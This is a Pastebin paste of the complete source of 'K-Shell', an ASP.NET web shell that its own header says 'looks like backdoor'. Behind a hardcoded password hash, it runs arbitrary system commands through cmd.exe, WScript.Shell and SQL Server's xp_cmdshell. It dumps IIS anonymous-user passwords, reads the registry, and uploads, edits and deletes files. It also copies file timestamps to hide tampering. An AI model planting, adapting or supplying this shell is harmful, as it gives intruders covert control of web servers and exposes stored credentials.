Hexlook

newshell.aspx

Dec 20th, 2016
304
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 61.58 KB | None | 0 0
  1. <%@ Page ContentType="text/html" validateRequest="false" aspcompat="true"%>
  2. <%@ Import Namespace="System.IO" %>
  3. <%@ import namespace="System.Diagnostics" %>
  4. <%@ import namespace="System.Threading" %>
  5. <%@ import namespace="System.Text" %>
  6. <%@ import namespace="System.Security.Cryptography" %>
  7. <%@ Import Namespace="System.Net.Sockets"%>
  8. <%@ Assembly Name="System.DirectoryServices, Version=2.0.0.0, Culture=neutral, PublicKeyToken=B03F5F7F11D50A3A" %>
  9. <%@ import Namespace="System.DirectoryServices" %>
  10. <%@ import Namespace="Microsoft.Win32" %>
  11. <script language="VB" runat="server">
  12. Dim PASSWORD as string = "26d49f07ceebca39e994ca12a3b52f2d"   'Hash MD5 of password
  13. 'Here , change the default password "kikicoco" to yours
  14. '----------------------------------------------------------------------
  15. '-----------------      K-Shell by kikicoco VHS       -----------------
  16. '-----------------    E-mail: duchaikhtn@gmail.com    -----------------
  17. '-----------------      http://www.guru.net.vn      -------------------
  18. '-----------------        http://vnsecurity.com       -----------------
  19. '-----------------              Version 1.2          ------------------
  20. '-----------------            Build (20080818)        -----------------
  21. '----------- This shell base on WebAdmin2.0(beta) By lake2 ------------
  22. '------------ and Asp.Net Security Analyzer by Dinis.cruz  ------------
  23. '---------------------Thanks to : Hackerbinhphuoc  --------------------
  24. '----------------------------------------------------------------------
  25. '  Description:
  26. '    1. This program run on ASP.NET environment,control the web directory
  27. '    2. It looks like backdoor , but I wish you like it .
  28. '    3. If you have some words to me , please send me a Email
  29. '    4. This is useful security test tool on windows. I hope that!
  30. '------------
  31. dim url,TEMP1,TEMP2,TITLE as string
  32. Function GetMD5(ByVal strPlain As String) As String
  33.     Dim UE As UnicodeEncoding = New UnicodeEncoding
  34.     Dim HashValue As Byte()
  35.     Dim MessageBytes As Byte() = UE.GetBytes(strPlain)
  36.     Dim md5 As MD5 = New MD5CryptoServiceProvider
  37.     Dim strHex As String = ""
  38.     HashValue = md5.ComputeHash(MessageBytes)
  39.      For Each b As Byte In HashValue
  40.     strHex += String.Format("{0:x2}", b)
  41.     Next
  42.     Return strHex
  43. End Function
  44. Sub Login_click(sender As Object, E As EventArgs)
  45.     if GetMD5(Textbox.Text)=PASSWORD then    
  46.         session("kikicoco")=1
  47.         session.Timeout=60
  48.     else
  49.         response.Write("<font color='red'>Your password is wrong! Maybe you press the ""Caps Lock"" buttom. Try again.</font><br>")
  50.     end if
  51. End Sub
  52. 'Run w32 shell
  53. Declare Function WinExec Lib "kernel32" Alias "WinExec" (ByVal lpCmdLine As String, ByVal nCmdShow As Long) As Long
  54. Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long)  As Long
  55.  
  56. Sub RunCmdW32(Src As Object, E As EventArgs)
  57.     dim command
  58.     dim fileObject = Server.CreateObject("Scripting.FileSystemObject")     
  59.     dim tempFile = Environment.GetEnvironmentVariable("TEMP") & "\"& fileObject.GetTempName( )
  60.     If Request.Form("txtCommand1") = "" Then
  61.         command = "dir c:\"
  62.     else
  63.         command = Request.Form("txtCommand1")
  64.     End If 
  65.     ExecuteCommand1(command,tempFile,txtCmdFile.Text)
  66.     OutputTempFile1(tempFile,fileObject)
  67.     'txtCommand1.text=""
  68. End Sub
  69. Sub ExecuteCommand1(command As String, tempFile As String,cmdfile As String)
  70.     Dim winObj, objProcessInfo, item, local_dir, local_copy_of_cmd, Target_copy_of_cmd
  71.     Dim objStartup, objConfig, objProcess, errReturn, intProcessID, temp_name
  72.     Dim FailIfExists
  73.    
  74.     local_dir = left(request.servervariables("PATH_TRANSLATED"),inStrRev(request.servervariables("PATH_TRANSLATED"),"\"))
  75.     'local_copy_of_cmd = Local_dir+"cmd.exe"
  76.     'local_copy_of_cmd= "C:\\WINDOWS\\system32\\cmd.exe"
  77.     local_copy_of_cmd=cmdfile
  78.     Target_copy_of_cmd = Environment.GetEnvironmentVariable("Temp")+"\kiss.exe"
  79.     CopyFile(local_copy_of_cmd, Target_copy_of_cmd,FailIfExists)
  80.     errReturn = WinExec(Target_copy_of_cmd + " /c " + command + "  > " + tempFile , 10)
  81.     response.write(errReturn)
  82.     thread.sleep(500)
  83. End Sub
  84. Sub OutputTempFile1(tempFile,oFileSys)
  85.     On Error Resume Next
  86.     dim oFile = oFileSys.OpenTextFile (tempFile, 1, False, 0)
  87.     resultcmdw32.text=txtCommand1.text & vbcrlf & "<pre>" & (Server.HTMLEncode(oFile.ReadAll)) & "</pre>"
  88.     oFile.Close
  89.     Call oFileSys.DeleteFile(tempFile, True)     
  90. End sub
  91. 'End w32 shell
  92. 'Run WSH shell
  93. Sub RunCmdWSH(Src As Object, E As EventArgs)
  94.     dim command
  95.     dim fileObject = Server.CreateObject("Scripting.FileSystemObject")
  96.     dim oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
  97.     dim tempFile = Environment.GetEnvironmentVariable("TEMP") & "\"& fileObject.GetTempName( )
  98.     If Request.Form("txtcommand2") = "" Then
  99.         command = "dir c:\"
  100.     else
  101.         command = Request.Form("txtcommand2")
  102.     End If   
  103.     ExecuteCommand2(command,tempFile)
  104.     OutputTempFile2(tempFile,fileObject)
  105.     txtCommand2.text=""
  106. End Sub
  107. Function ExecuteCommand2(cmd_to_execute, tempFile)
  108.       Dim oScript
  109.       oScript = Server.CreateObject("WSCRIPT.SHELL")
  110.      Call oScript.Run ("cmd.exe /c " & cmd_to_execute & " > " & tempFile, 0, True)
  111. End function
  112. Sub OutputTempFile2(tempFile,fileObject)
  113.    On Error Resume Next
  114.     dim oFile = fileObject.OpenTextFile (tempFile, 1, False, 0)
  115.     resultcmdwsh.text=txtCommand2.text & vbcrlf & "<pre>" & (Server.HTMLEncode(oFile.ReadAll)) & "</pre>"
  116.     oFile.Close
  117.     Call fileObject.DeleteFile(tempFile, True)
  118. End sub
  119. 'End WSH shell
  120.  
  121. 'System infor
  122. Sub output_all_environment_variables(mode)
  123.     Dim environmentVariables As IDictionary = Environment.GetEnvironmentVariables()
  124.     Dim de As DictionaryEntry
  125.     For Each de In  environmentVariables
  126.     if mode="HTML" then
  127.     response.write("<b> " +de.Key + " </b>: " + de.Value + "<br>")
  128.     else
  129.     if mode="text"
  130.     response.write(de.Key + ": " + de.Value + vbnewline+ vbnewline)
  131.     end if     
  132.     end if
  133.     Next
  134. End sub
  135. Sub output_all_Server_variables(mode)
  136.    dim item
  137.    for each item in request.servervariables
  138.     if mode="HTML" then
  139.     response.write("<b>" + item + "</b> : ")
  140.     response.write(request.servervariables(item))
  141.     response.write("<br>")
  142.     else
  143.         if mode="text"
  144.             response.write(item + " : " + request.servervariables(item) + vbnewline + vbnewline)
  145.         end if     
  146.     end if
  147.    next
  148. End sub
  149. 'End sysinfor
  150. Function Server_variables() As String
  151.     dim item
  152.     dim tmp As String
  153.     tmp=""
  154.    for each item in request.ServerVariables
  155.         if request.servervariables(item) <> ""
  156.         'response.write(item + " : " + request.servervariables(item) + vbnewline + vbnewline)
  157.         tmp =+ item.ToString + " : " + request.servervariables(item).ToString + "\n\r"
  158.         end if
  159.    next
  160.    return tmp
  161. End function
  162. 'Begin List processes
  163. Function output_wmi_function_data(Wmi_Function,Fields_to_Show)
  164.         dim objProcessInfo , winObj, item , Process_properties, Process_user, Process_domain
  165.         dim fields_split, fields_item,i
  166.  
  167.         'on error resume next
  168.  
  169.         table("0","","")
  170.         Create_table_row_with_supplied_colors("black","white","center",Fields_to_Show)
  171.  
  172.         winObj = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
  173.         objProcessInfo = winObj.ExecQuery("Select "+Fields_to_Show+" from " + Wmi_Function)                
  174.        
  175.         fields_split = split(Fields_to_Show,",")
  176.         for each item in objProcessInfo
  177.             tr
  178.                 Surround_by_TD_and_Bold(item.properties_.item(fields_split(0)).value)
  179.                 if Ubound(Fields_split)>0 then
  180.                     for i = 1 to ubound(fields_split)
  181.                         Surround_by_TD(center_(item.properties_.item(fields_split(i)).value))              
  182.                     next
  183.                 end if
  184.             _tr
  185.         next
  186. End function
  187. Function output_wmi_function_data_instances(Wmi_Function,Fields_to_Show,MaxCount)
  188.         dim objProcessInfo , winObj, item , Process_properties, Process_user, Process_domain
  189.         dim fields_split, fields_item,i,count
  190.         newline
  191.         rw("Showing the first " + cstr(MaxCount) + " Entries")
  192.         newline
  193.         newline
  194.         table("1","","")
  195.         Create_table_row_with_supplied_colors("black","white","center",Fields_to_Show)
  196.         _table
  197.         winObj = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
  198. '       objProcessInfo = winObj.ExecQuery("Select "+Fields_to_Show+" from " + Wmi_Function)                
  199.         objProcessInfo = winObj.InstancesOf(Wmi_Function)                  
  200.        
  201.         fields_split = split(Fields_to_Show,",")
  202.         count = 0
  203.         for each item in objProcessInfo    
  204.             count = Count + 1
  205.             table("1","","")
  206.             tr
  207.                 Surround_by_TD_and_Bold(item.properties_.item(fields_split(0)).value)
  208.                 if Ubound(Fields_split)>0 then
  209.                     for i = 1 to ubound(fields_split)
  210.                         Surround_by_TD(item.properties_.item(fields_split(i)).value)               
  211.                     next
  212.                 end if
  213.             _tr
  214.             if count > MaxCount then exit for
  215.         next
  216. End function
  217. 'End List processes
  218. 'Begin IIS_list_Anon_Name_Pass
  219. Sub IIS_list_Anon_Name_Pass()
  220.         Dim IIsComputerObj, iFlags ,providerObj ,nodeObj ,item, IP
  221.        
  222.         IIsComputerObj = CreateObject("WbemScripting.SWbemLocator")             ' Create an instance of the IIsComputer object
  223.         providerObj = IIsComputerObj.ConnectServer("127.0.0.1", "root/microsoftIISv2")
  224.         nodeObj  = providerObj.InstancesOf("IIsWebVirtualDirSetting") '  - IISwebServerSetting
  225.        
  226.         Dim MaxCount = 20,Count = 0
  227.         hr
  228.         RW("only showing the first "+cstr(MaxCount) + " items")
  229.         hr
  230.         for each item in nodeObj
  231.             response.write("<b>" + item.AppFriendlyName + " </b> -  ")
  232.             response.write("(" + item.AppPoolId + ") ")
  233.        
  234.             response.write(item.AnonymousUserName + " : ")
  235.             response.write(item.AnonymousUserPass)
  236.            
  237.             response.write("<br>")
  238.            
  239.             response.flush
  240.             Count = Count +1
  241.             If Count > MaxCount then exit for
  242.         next       
  243.         hr
  244. End sub
  245. 'End IIS_list_Anon_Name_Pass
  246. Private Function CheckIsNumber(ByVal sSrc As String) As Boolean
  247.     Dim reg As New System.Text.RegularExpressions.Regex("^0|[0-9]*[1-9][0-9]*$")
  248.      If reg.IsMatch(sSrc) Then
  249.            Return True
  250.      Else
  251.            Return False
  252.      End If
  253. End Function
  254.  
  255. Public Function IISSpy() As String
  256.      Dim iisinfo As String = ""
  257.      Dim iisstart As String = ""
  258.      Dim iisend As String = ""
  259.      Dim iisstr As String = "IIS://localhost/W3SVC"
  260.       Dim i As Integer = 0
  261.       Try
  262.             Dim mydir As New DirectoryEntry(iisstr)
  263.             iisstart = "<TABLE width=100% align=center border=0><TR align=center><TD width=5%><B>Order</B></TD><TD width=20%><B>IIS_USER</B></TD><TD width=20%><B>App_Pool_Id</B></TD><TD width=25%><B>Domain</B></TD><TD width=30%><B>Path</B></TD></TR>"
  264.             For Each child As DirectoryEntry In mydir.Children
  265.                   If CheckIsNumber(child.Name.ToString()) Then
  266.                         Dim dirstr As String = child.Name.ToString()
  267.                         Dim tmpstr As String = ""
  268.                         Dim newdir As New DirectoryEntry(iisstr + "/" + dirstr)
  269.                         Dim newdir1 As DirectoryEntry = newdir.Children.Find("root", "IIsWebVirtualDir")
  270.                         i = i + 1
  271.                         iisinfo += "<TR><TD align=center>" + i.ToString() + "</TD>"
  272.                         iisinfo += "<TD align=center>" + newdir1.Properties("AnonymousUserName").Value.ToString() + "</TD>"
  273.                         iisinfo += "<TD align=center>" + newdir1.Properties("AppPoolId").Value.ToString() + "</TD>"
  274.                         iisinfo += "<TD>" + child.Properties("ServerBindings")(0) + "</TD>"
  275.                         iisinfo += "<TD><a href="+Request.ServerVariables("PATH_INFO")+ "?action=goto&src=" + newdir1.Properties("Path").Value.ToString() + "\>" + newdir1.Properties("Path").Value + "\</a></TD>"
  276.                         iisinfo += "</TR>"
  277.                   End If
  278.             Next
  279.             iisend = "</TABLE>"
  280.       Catch ex As Exception
  281.             Return ex.Message
  282.       End Try
  283.       Return iisstart + iisinfo + iisend
  284. End Function
  285.  
  286. Sub RegistryRead(Src As Object, E As EventArgs)
  287.     Try
  288.             Dim regkey As String = txtRegKey.Text
  289.             Dim subkey As String = regkey.Substring(regkey.IndexOf("\") + 1, regkey.Length - regkey.IndexOf("\") - 1)
  290.            Dim rk As RegistryKey = Nothing
  291.            Dim buffer As Object
  292.            Dim regstr As String = ""
  293.            If regkey.Substring(0, regkey.IndexOf("\")) = "HKEY_LOCAL_MACHINE" Then
  294.                  rk = Registry.LocalMachine.OpenSubKey(subkey)
  295.            End If
  296.            If regkey.Substring(0, regkey.IndexOf("\")) = "HKEY_CLASSES_ROOT" Then
  297.                  rk = Registry.ClassesRoot.OpenSubKey(subkey)
  298.            End If
  299.            If regkey.Substring(0, regkey.IndexOf("\")) = "HKEY_CURRENT_USER" Then
  300.                  rk = Registry.CurrentUser.OpenSubKey(subkey)
  301.            End If
  302.            If regkey.Substring(0, regkey.IndexOf("\")) = "HKEY_USERS" Then
  303.                  rk = Registry.Users.OpenSubKey(subkey)
  304.            End If
  305.            If regkey.Substring(0, regkey.IndexOf("\")) = "HKEY_CURRENT_CONFIG" Then
  306.                  rk = Registry.CurrentConfig.OpenSubKey(subkey)
  307.            End If
  308.            buffer = rk.GetValue(txtRegValue.Text, "NULL")
  309.         dim tmpbyte As Byte = 0
  310.                  lblresultReg.Text = "<br>Result : " + buffer.ToString()
  311.      Catch ex As Exception
  312.            Response.write(ex.Message)
  313.      End Try
  314. End Sub
  315.  
  316. ' Begin List Web Site Home Directory Properties
  317.  
  318.  
  319. ' End List Web Site Home Directory Properties
  320. Sub RunCMD(Src As Object, E As EventArgs)
  321.     Try
  322.     Dim kProcess As New Process()
  323.     Dim kProcessStartInfo As New ProcessStartInfo("cmd.exe")
  324.     kProcessStartInfo.UseShellExecute = False
  325.     kProcessStartInfo.RedirectStandardOutput = true
  326.     kProcess.StartInfo = kProcessStartInfo
  327.     kProcessStartInfo.Arguments="/c " & Cmd.text
  328.     kProcess.Start()
  329.     Dim myStreamReader As StreamReader = kProcess.StandardOutput
  330.     Dim myString As String = myStreamReader.Readtoend()
  331.     kProcess.Close()
  332.     result.text=Cmd.text & vbcrlf & "<pre>" & mystring & "</pre>"
  333.     Cmd.text=""
  334.     Catch
  335.     result.text="This function has disabled!"
  336.     End Try
  337. End Sub
  338. Sub CloneTime(Src As Object, E As EventArgs)
  339.     existdir(time1.Text)
  340.     existdir(time2.Text)
  341.     Dim thisfile As FileInfo =New FileInfo(time1.Text)
  342.     Dim thatfile As FileInfo =New FileInfo(time2.Text)
  343.     thisfile.LastWriteTime = thatfile.LastWriteTime
  344.     thisfile.LastAccessTime = thatfile.LastAccessTime
  345.     thisfile.CreationTime = thatfile.CreationTime
  346.     response.Write("<font color=""red"">Clone Time Success!</font>")
  347. End Sub
  348. sub Editor(Src As Object, E As EventArgs)
  349.     dim mywrite as new streamwriter(filepath.text,false,encoding.default)
  350.     mywrite.write(content.text)
  351.     mywrite.close
  352.     response.Write("<script>alert('Edit|Creat " & replace(filepath.text,"\","\\") & " Success!');location.href='"& request.ServerVariables("URL") & "?action=goto&src="& server.UrlEncode(Getparentdir(filepath.text)) &"'</sc" & "ript>")
  353. end sub
  354. Sub UpLoad(Src As Object, E As EventArgs)
  355.     dim filename,loadpath as string
  356.     filename=path.getfilename(UpFile.value)
  357.     loadpath=request.QueryString("src") & filename
  358.     if  file.exists(loadpath)=true then
  359.         response.Write("<script>alert('File " & replace(loadpath,"\","\\") & " have existed , upload fail!');location.href='"& request.ServerVariables("URL") & "?action=goto&src="& server.UrlEncode(request.QueryString("src")) &"'</sc" & "ript>")
  360.         response.End()
  361.     end if
  362.     UpFile.postedfile.saveas(loadpath)
  363.     response.Write("<script>alert('File " & filename & " upload success!\nFile info:\n\nClient Path:" & replace(UpFile.value,"\","\\") & "\nFile Size:" & UpFile.postedfile.contentlength & " bytes\nSave Path:" & replace(loadpath,"\","\\") & "\n');")
  364.     response.Write("location.href='" & request.ServerVariables("URL") & "?action=goto&src=" & server.UrlEncode(request.QueryString("src")) & "'</sc" & "ript>")
  365. End Sub
  366. Sub NewFD(Src As Object, E As EventArgs)
  367.     url=request.form("src")
  368.     if NewFile.Checked = True then
  369.         dim mywrite as new streamwriter(url & NewName.Text,false,encoding.default)
  370.         mywrite.close
  371.         response.Redirect(request.ServerVariables("URL") & "?action=edit&src=" & server.UrlEncode(url & NewName.Text))
  372.     else
  373.         directory.createdirectory(url & NewName.Text)
  374.         response.Write("<script>alert('Creat directory " & replace(url & NewName.Text ,"\","\\") & " Success!');location.href='"& request.ServerVariables("URL") & "?action=goto&src="& server.UrlEncode(url) &"'</sc" & "ript>")
  375.     end if
  376. End Sub
  377. Sub del(a)
  378.     if right(a,1)="\" then
  379.         dim xdir as directoryinfo
  380.         dim mydir as new DirectoryInfo(a)
  381.         dim xfile as fileinfo
  382.         for each xfile in mydir.getfiles()
  383.             file.delete(a & xfile.name)
  384.         next
  385.         for each xdir in mydir.getdirectories()
  386.             call del(a & xdir.name & "\")
  387.         next
  388.         directory.delete(a)
  389.     else
  390.         file.delete(a)
  391.     end if
  392. End Sub
  393. Sub copydir(a,b)
  394.     dim xdir as directoryinfo
  395.     dim mydir as new DirectoryInfo(a)
  396.     dim xfile as fileinfo
  397.     for each xfile in mydir.getfiles()
  398.         file.copy(a & "\" & xfile.name,b & xfile.name)
  399.     next
  400.     for each xdir in mydir.getdirectories()
  401.         directory.createdirectory(b & path.getfilename(a & xdir.name))
  402.         call copydir(a & xdir.name & "\",b & xdir.name & "\")
  403.     next
  404. End Sub
  405. Sub xexistdir(temp,ow)
  406.     if directory.exists(temp)=true or file.exists(temp)=true then
  407.         if ow=0  then
  408.             response.Redirect(request.ServerVariables("URL") & "?action=samename&src=" & server.UrlEncode(url))
  409.         elseif ow=1 then
  410.             del(temp)
  411.         else
  412.             dim d as string = session("cutboard")
  413.             if right(d,1)="\" then
  414.                 TEMP1=url & second(now) & path.getfilename(mid(replace(d,"",""),1,len(replace(d,"",""))-1))
  415.             else
  416.                 TEMP2=url & second(now) & replace(path.getfilename(d),"","")
  417.             end if
  418.         end if
  419.     end if
  420. End Sub
  421. Sub existdir(temp)
  422.         if  file.exists(temp)=false and directory.exists(temp)=false then
  423.             response.Write("<script>alert('Don\'t exist " & replace(temp,"\","\\")  &" ! Is it a CD-ROM ?');</sc" & "ript>")
  424.             response.Write("<br><br><a href='javascript:history.back(1);'>Click Here Back</a>")
  425.             response.End()
  426.         end if
  427. End Sub
  428. Sub RunSQLCMD(Src As Object, E As EventArgs)
  429.     Dim adoConn,strQuery,recResult,strResult
  430.     if SqlName.Text<>"" then
  431.         adoConn=Server.CreateObject("ADODB.Connection")
  432.         adoConn.Open("Provider=SQLOLEDB.1;Password=" & SqlPass.Text & ";UID=" & SqlName.Text & ";Data Source = " & ip.Text)
  433.         If Sqlcmd.Text<>"" Then
  434.             strQuery = "exec master.dbo.xp_cmdshell '" & Sqlcmd.Text & "'"
  435.             recResult = adoConn.Execute(strQuery)
  436.             If NOT recResult.EOF Then
  437.                 Do While NOT recResult.EOF
  438.                     strResult = strResult & chr(13) & recResult(0).value
  439.                     recResult.MoveNext
  440.                 Loop
  441.             End if
  442.             recResult = Nothing
  443.             strResult = Replace(strResult," ","&nbsp;")
  444.             strResult = Replace(strResult,"<","&lt;")
  445.             strResult = Replace(strResult,">","&gt;")
  446.             resultSQL.Text=SqlCMD.Text & vbcrlf & "<pre>" & strResult & "</pre>"
  447.             SqlCMD.Text=""
  448.          End if
  449.         adoConn.Close
  450.      End if
  451. End Sub
  452. Sub RunSQLQUERY(Src As Object, E As EventArgs)
  453.     Dim adoConn,strQuery,recResult,strResult
  454.     if txtSqlName.Text<>"" then
  455.         adoConn=Server.CreateObject("ADODB.Connection")
  456.         adoConn.Open("Provider=SQLOLEDB.1;Password=" & txtSqlPass.Text & ";UID=" & txtSqlName.Text & ";Data Source = " & txtHost.Text)
  457.         If txtSqlcmd.Text<>"" Then
  458.             strQuery = txtSqlcmd.Text
  459.             recResult = adoConn.Execute(strQuery)
  460.             If NOT recResult.EOF Then
  461.                 Do While NOT recResult.EOF
  462.                     strResult = strResult & chr(13) & recResult(0).value
  463.                     recResult.MoveNext
  464.                 Loop
  465.             End if
  466.             recResult = Nothing
  467.             strResult = Replace(strResult," ","&nbsp;")
  468.             strResult = Replace(strResult,"<","&lt;")
  469.             strResult = Replace(strResult,">","&gt;")
  470.             lblresultSQL.Text=txtSqlCMD.Text & vbcrlf & "<pre>" & strResult & "</pre>"
  471.             txtSqlCMD.Text=""
  472.          End if
  473.         adoConn.Close
  474.      End if
  475. End Sub
  476.  
  477. Function GetStartedTime(ms)
  478.     GetStartedTime=cint(ms/(1000*60*60))
  479. End function
  480. Function getIP()
  481.    Dim strIPAddr as string
  482.    If Request.ServerVariables("HTTP_X_FORWARDED_FOR") = "" OR InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), "unknown") > 0 Then
  483.        strIPAddr = Request.ServerVariables("REMOTE_ADDR")
  484.    ElseIf InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ",") > 0 Then
  485.        strIPAddr = Mid(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), 1, InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ",")-1)
  486.    ElseIf InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ";") > 0 Then
  487.        strIPAddr = Mid(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), 1, InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ";")-1)
  488.    Else
  489.        strIPAddr = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
  490.    End If
  491.    getIP = Trim(Mid(strIPAddr, 1, 30))
  492. End Function
  493. Function Getparentdir(nowdir)
  494.     dim temp,k as integer
  495.     temp=1
  496.     k=0
  497.     if len(nowdir)>4 then
  498.         nowdir=left(nowdir,len(nowdir)-1)
  499.     end if
  500.     do while temp<>0
  501.         k=temp+1
  502.         temp=instr(temp,nowdir,"\")
  503.         if temp =0 then
  504.             exit do
  505.         end if
  506.         temp = temp+1
  507.     loop
  508.     if k<>2 then
  509.         getparentdir=mid(nowdir,1,k-2)
  510.     else
  511.         getparentdir=nowdir
  512.     end if
  513. End function
  514. Function Rename()
  515.     url=request.QueryString("src")
  516.     if file.exists(Getparentdir(url) & request.Form("name")) then
  517.         rename=0  
  518.     else
  519.         file.copy(url,Getparentdir(url) & request.Form("name"))
  520.         del(url)
  521.         rename=1
  522.     end if
  523. End Function
  524. Function GetSize(temp)
  525.     if temp < 1024 then
  526.         GetSize=temp & " bytes"
  527.     else
  528.         if temp\1024 < 1024 then
  529.             GetSize=temp\1024 & " KB"
  530.         else
  531.             if temp\1024\1024 < 1024 then
  532.                 GetSize=temp\1024\1024 & " MB"
  533.             else
  534.                 GetSize=temp\1024\1024\1024 & " GB"
  535.             end if
  536.         end if
  537.     end if
  538. End Function
  539. Sub downTheFile(thePath)
  540.         dim stream
  541.         stream=server.createObject("adodb.stream")
  542.         stream.open
  543.         stream.type=1
  544.         stream.loadFromFile(thePath)
  545.         response.addHeader("Content-Disposition", "attachment; filename=" & replace(server.UrlEncode(path.getfilename(thePath)),"+"," "))
  546.         response.addHeader("Content-Length",stream.Size)
  547.         response.charset="UTF-8"
  548.         response.contentType="application/octet-stream"
  549.         response.binaryWrite(stream.read)
  550.         response.flush
  551.         stream.close
  552.         stream=nothing
  553.         response.End()
  554. End Sub
  555. 'H T M L  S N I P P E T S
  556. public sub Newline
  557.         response.write("<BR>")
  558.     end sub
  559.    
  560.     public sub TextNewline
  561.         response.write(vbnewline)
  562.     end sub
  563.  
  564.     public sub rw(text_to_print)      ' Response.write
  565.         response.write(text_to_print)
  566.     end sub
  567.  
  568.     public sub rw_b(text_to_print)
  569.         rw("<b>"+text_to_print+"</b>")
  570.     end sub
  571.  
  572.     public sub hr()
  573.         rw("<hr>")
  574.     end sub
  575.  
  576.     public sub ul()
  577.         rw("<ul>")
  578.     end sub
  579.  
  580.     public sub _ul()
  581.         rw("</ul>")
  582.     end sub
  583.  
  584.     public sub table(border_size,width,height)
  585.         rw("<table border='"+cstr(border_size)+"' width ='"+cstr(width)+"' height='"+cstr(height)+"'>")
  586.     end sub
  587.  
  588.     public sub _table()
  589.         rw("</table>")
  590.     end sub
  591.  
  592.     public sub tr()
  593.         rw("<tr>")
  594.     end sub
  595.  
  596.     public sub _tr()
  597.         rw("</tr>")
  598.     end sub
  599.  
  600.     public sub td()
  601.         rw("<td>")
  602.     end sub
  603.  
  604.     public sub _td()
  605.         rw("</td>")
  606.     end sub
  607.  
  608.     public sub td_span(align,name,contents)
  609.         rw("<td align="+align+"><span id='"+name+"'>"+ contents + "</span></td>")
  610.     end sub
  611.  
  612.     Public sub td_link(align,title,link,target)
  613.         rw("<td align="+align+"><a href='"+link+"' target='"+target+"'>"+title+"</a></td>")
  614.     end sub
  615.  
  616.     Public sub link(title,link,target)
  617.         rw("<a href='"+link+"' target='"+target+"'>"+title+"</a>")
  618.     end sub
  619.  
  620.     Public sub link_hr(title,link,target)
  621.         rw("<a href='"+link+"' target='"+target+"'>"+title+"</a>")
  622.         hr
  623.     end sub
  624.  
  625.     Public sub link_newline(title,link,target)
  626.         rw("<a href='"+link+"' target='"+target+"'>"+title+"</a>")
  627.         newline
  628.     end sub
  629.    
  630.     public sub empty_Cell(ColSpan)
  631.         rw("<td colspan='"+cstr(colspan)+"'></td>")
  632.     end sub
  633.  
  634.     public sub empty_row(ColSpan)
  635.         rw("<tr><td colspan='"+cstr(colspan)+"'></td></tr>")
  636.     end sub
  637.  
  638.         Public sub Create_table_row_with_supplied_colors(bgColor, fontColor, alignValue, rowItems)
  639.            dim rowItem
  640.  
  641.            rowItems = split(rowItems,",")
  642.            response.write("<tr bgcolor="+bgcolor+">")
  643.            for each rowItem in RowItems
  644.                response.write("<td align="+alignValue+"><font color="+fontColor+"><b>"+rowItem +"<b></font></td>")
  645.            next
  646.            response.write("</tr>")
  647.  
  648.        end sub
  649.  
  650.        Public sub TR_TD(cellContents)
  651.            response.write("<td>")
  652.            response.write(cellContents)
  653.            response.write("</td>")
  654.        end sub
  655.    
  656.  
  657.        Public sub Surround_by_TD(cellContents)
  658.            response.write("<td>")
  659.            response.write(cellContents)
  660.            response.write("</td>")
  661.        end sub
  662.  
  663.        Public sub Surround_by_TD_and_Bold(cellContents)
  664.            response.write("<td><b>")
  665.            response.write(cellContents)
  666.            response.write("</b></td>")
  667.        end sub
  668.  
  669.        Public sub Surround_by_TD_with_supplied_colors_and_bold(bgColor, fontColor, alignValue, cellContents)
  670.            response.write("<td align="+alignValue+" bgcolor="+bgcolor+" ><font color="+fontColor+"><b>")
  671.            response.write(cellContents)
  672.            response.write("</b></font></td>")
  673.        end sub
  674.     Public sub Create_background_Div_table(title,main_cell_contents,top,left,width,height,z_index)
  675.         response.write("<div style='position: absolute; top: " + top + "; left: " + left + "; width: "+width+"; height: "+height+"; z-index: "+z_index+"'>")
  676.         response.write("  <table border='1' cellpadding='0' cellspacing='0' style='border-collapse: collapse' bordercolor='#111111' width='100%' id='AutoNumber1' height='100%'>")
  677.         response.write("    <tr heigth=20>")
  678.         response.write("      <td bgcolor='black' align=center><font color='white'><b>"+ title +"</b></font></td>")
  679.         response.write("    </tr>")
  680.         response.write("    <tr>")
  681.         response.write("      <td>"+main_Cell_contents+"</td>")
  682.         response.write("    </tr>")
  683.         response.write("  </table>")
  684.         response.write("</div>")
  685.     end sub
  686.  
  687.     Public sub Create_Div_open(top,left,width,height,z_index)
  688.         response.write("<div style='position: absolute; top: " + top + "; left: " + left + "; width: "+width+"; height: "+height+"; z-index: "+z_index+"'>")
  689.     end sub
  690.  
  691.  
  692.     Public sub Create_Div_close()
  693.         response.write("</div>")
  694.     end sub
  695.  
  696.     public sub Create_Iframe(left, top, width, height, name,src)
  697.         rw("<span style='position: absolute; left: " + left+ "; top: " +top + "'>")  
  698.         rw("    <iframe name='" + name+ "' src='" + src+ "' width='" + cstr(width) + "' height='" + cstr(height) + "'></iframe>")
  699.             rw("</span>")
  700.     end sub
  701.  
  702.     public sub Create_Iframe_relative(width, height, name,src)
  703.         rw("    <iframe name='" + name+ "' src='" + src+ "' width='" + cstr(width) + "' height='" + cstr(height) + "'></iframe>")
  704.     end sub
  705.  
  706.     public sub return_100_percent_table()
  707.         rw("<table border width='100%' height='100%'><tr><td>sdf</td></tr></table>")
  708.     end sub
  709.  
  710.     public sub font_size(size)
  711.         rw("<font size="+size+">")
  712.     end sub
  713.  
  714.     public sub end_font()
  715.         rw("</font>")
  716.     end sub
  717.  
  718.     public sub red(contents)
  719.         rw("<font color=red>"+contents+"</font>")
  720.     end sub
  721.  
  722.     public sub yellow(contents)
  723.         rw("<font color='#FF8800'>"+contents+"</font>")
  724.     end sub
  725.  
  726.     public sub green(contents)
  727.         rw("<font color=green>"+contents+"</font>")
  728.     end sub
  729.     public sub print_var(var_name, var_value,var_description)
  730.         if var_description<> "" Then
  731.             rw(b_(var_name)+" : " + var_value + i_("  ("+var_description+")"))
  732.         else
  733.             rw(b_(var_name)+" : " + var_value)
  734.         end if
  735.         newline
  736.     end sub
